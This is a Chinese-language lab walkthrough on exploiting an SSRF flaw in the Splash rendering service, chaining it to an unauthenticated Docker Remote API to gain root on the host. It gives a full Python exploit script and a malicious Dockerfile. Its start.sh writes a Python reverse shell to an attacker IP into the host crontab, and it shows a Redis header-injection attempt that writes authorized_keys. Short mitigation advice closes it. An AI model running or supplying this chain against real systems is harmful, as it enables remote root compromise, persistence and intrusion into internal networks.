Splash SSRF漏洞利用与内网渗透实战指南
0x01 漏洞概述
Splash是一个基于Python3、Twisted和QT5开发的JavaScript渲染服务,提供HTTP API的轻量级浏览器功能。默认监听8050(http)和5023(telnet)端口。
漏洞核心:Splash允许用户提供任意URL进行页面渲染,但未对URL进行有效验证,导致存在带回显的SSRF漏洞。与普通SSRF不同,Splash不仅支持GET请求,还支持POST请求,这大大扩展了攻击面。
攻击场景:攻击者可以利用此SSRF漏洞结合内网Docker Remote API,最终获取宿主机的root权限,实现内网漫游。
0x02 环境搭建
实验环境配置
-
网络拓扑:
- Attacker: 192.168.1.213 (宿主机)
- Victim:
- 外网IP: 192.168.1.120
- 内网IP: 172.16.10.74 (Host-only模式)
-
服务部署:
- Splash: http://192.168.1.120:8050 (v2.2.1)
- Docker Remote API: http://172.16.10.74:2375 (17.06.0-ce)
- JIRA: http://172.16.10.74:8080
Docker配置关键步骤
-
修改Docker配置监听TCP 2375端口:
# /etc/default/docker添加 DOCKER_OPTS="-H tcp://172.16.10.74:2375" # 创建并配置docker.service.d mkdir /etc/systemd/system/docker.service.d/ vim /etc/systemd/system/docker.service.d/docker.conf内容为:
[Service] ExecStart= EnvironmentFile=/etc/default/docker ExecStart=/usr/bin/dockerd -H fd:// $DOCKER_OPTS -
重启Docker服务:
systemctl daemon-reload service docker restart -
验证监听:
netstat -antp | grep LISTEN curl 172.16.10.74:2375
服务启动命令
-
启动Splash:
docker pull scrapinghub/splash:2.2.1 docker run --name=splash -d -p 5023:5023 -p 8050:8050 -p 8051:8051 scrapinghub/splash:2.2.1 -
启动JIRA:
docker pull cptactionhank/atlassian-jira:latest docker run -d -p 172.16.10.74:8080:8080 --name=jira cptactionhank/atlassian-jira:latest
0x03 漏洞利用过程
1. 基本SSRF验证
访问Splash界面(http://192.168.1.120:8050/),在URL输入框填写内网地址(如http://172.16.10.74:8080),点击"Render me!",可获取:
- 页面截图
- 请求信息
- 页面源码
等同于一个内网浏览器,验证了SSRF漏洞的存在。
2. Lua脚本尝试
Splash支持执行自定义Lua脚本,但运行在沙箱环境中,默认可用的Lua模块有限:
- string
- table
- math
- os
尝试通过os模块执行系统命令失败:
local os = require("os")
function main(splash)
end
3. 通过Docker Remote API获取宿主机root权限
攻击思路:
- 利用POST请求调用Docker API
- 挂载宿主机/etc目录到容器
- 通过写入crontab实现反弹shell
关键步骤:
1) 准备恶意Docker镜像
Dockerfile:
FROM busybox:latest
ADD ./start.sh /start.sh
WORKDIR /
start.sh:
#!/bin/sh
echo 'root python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\", $2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\''' >> /hostdir/crontab
构建并推送镜像:
docker build -t b1ngz/busybox:latest .
docker push b1ngz/busybox:latest
2) 利用脚本实现攻击
完整Python利用脚本:
# -*- coding: utf-8 -*-
import json
import re
import requests
def pull_image(api, docker_api, image_name, image_tag):
print("pull image: %s:%s" % (image_name, image_tag))
url = "%s/render.html" % api
docker_url = '%s/images/create?fromImage=%s&tag=%s' % (docker_api, image_name, image_tag)
params = {
'url': docker_url,
'http_method': 'POST',
'body': '',
'timeout': 60
}
resp = requests.get(url, params=params)
def create_container(api, docker_api, image_name, image_tag, shell_host, shell_port):
image = "%s:%s" % (image_name, image_tag)
body = {
"Image": image,
"Volumes": {
"/etc": {
"bind": "/hostdir",
"mode": "rw"
}
},
"HostConfig": {
"Binds": ["/etc:/hostdir"]
},
"Cmd": [
'/bin/sh',
'/start.sh',
shell_host,
str(shell_port),
],
}
url = "%s/render.html" % api
docker_url = '%s/containers/create' % docker_api
params = {
'http_method': 'POST',
'url': docker_url,
'timeout': 60
}
resp = requests.post(url, params=params, json={
'headers': {'Content-Type': 'application/json'},
"body": json.dumps(body)
})
result = re.search('"Id":"(\w+)"', resp.text)
container_id = result.group(1)
return container_id
def start_container(api, docker_api, container_id):
url = "%s/render.html" % api
docker_url = '%s/containers/%s/start' % (docker_api, container_id)
params = {
'http_method': 'POST',
'url': docker_url,
'timeout': 10
}
resp = requests.post(url, params=params, json={
'headers': {'Content-Type': 'application/json'},
"body": ""
})
if __name__ == '__main__':
# 配置参数
splash_host = '192.168.1.120'
splash_port = 8050
docker_host = '172.16.10.74'
docker_port = 2375
shell_host = '192.168.1.213'
shell_port = 12345
splash_api = "http://%s:%d" % (splash_host, splash_port)
docker_api = 'http://%s:%d' % (docker_host, docker_port)
image_name = 'b1ngz/busybox'
image_tag = 'latest'
# 执行攻击步骤
pull_image(splash_api, docker_api, image_name, image_tag)
container_id = create_container(splash_api, docker_api, image_name, image_tag, shell_host, shell_port)
start_container(splash_api, docker_api, container_id)
关键点说明:
- 必须使用POST方法请求render.html接口
- Headers需要在body中以JSON格式传递
- 攻击流程分为三步:拉取镜像、创建容器、启动容器
4. 其他利用思路
Redis利用尝试
虽然Splash基于QTWebKit默认不支持gopher协议,但测试发现请求headers可控且支持\n换行,可尝试攻击Redis:
def test_get(api, redis_api):
url = "%s/render.html" % api
params = {
'url': redis_api,
'timeout': 10
}
resp = requests.post(url, params=params, json={
'headers': {
'config set dir /root\n'
'config set dbfilename authorized_keys\n': ''
}
})
实际测试发现Redis 3.2.8会发出安全警告并中断连接,但部分命令已执行。
0x04 修复方案
1. Splash修复
-
添加认证机制:
- 临时方案:使用Basic认证
- 彻底修复:修改代码实现完善的认证功能
-
输入验证:
- 对用户提供的URL进行严格验证
- 限制可访问的网络范围
2. Docker安全配置
-
端口保护:
- 使用iptables限制2375/2376端口访问
- 仅允许管理节点访问工作节点的端口
- 管理节点端口设置IP白名单
-
版本升级:
- 使用最新稳定版Docker
- 启用TLS认证
0x05 攻击流程总结
- 发现Splash SSRF漏洞
- 利用POST请求能力探测内网服务
- 发现Docker Remote API未授权访问
- 构造恶意Docker镜像并推送至Docker Hub
- 通过SSRF调用Docker API拉取镜像
- 创建并启动容器,挂载宿主机/etc目录
- 通过写入crontab实现定时任务反弹shell
- 获取宿主机root权限,实现内网漫游
附录:技术要点备忘
-
Splash API关键参数:
- url: 请求的目标URL
- http_method: 请求方法(GET/POST)
- headers: 请求头(需在body中以JSON传递)
- body: 请求体
- timeout: 超时时间
-
Docker Remote API关键端点:
- POST /images/create - 拉取镜像
- POST /containers/create - 创建容器
- POST /containers/(id)/start - 启动容器
-
反弹Shell原理:
- 通过python -c执行socket连接
- 将标准输入/输出/错误重定向到socket
- 通过crontab实现持久化
-
漏洞利用难点:
- 必须使用POST方法请求render.html
- Headers需要在body中以JSON格式传递
- Docker API调用需要构造正确的JSON数据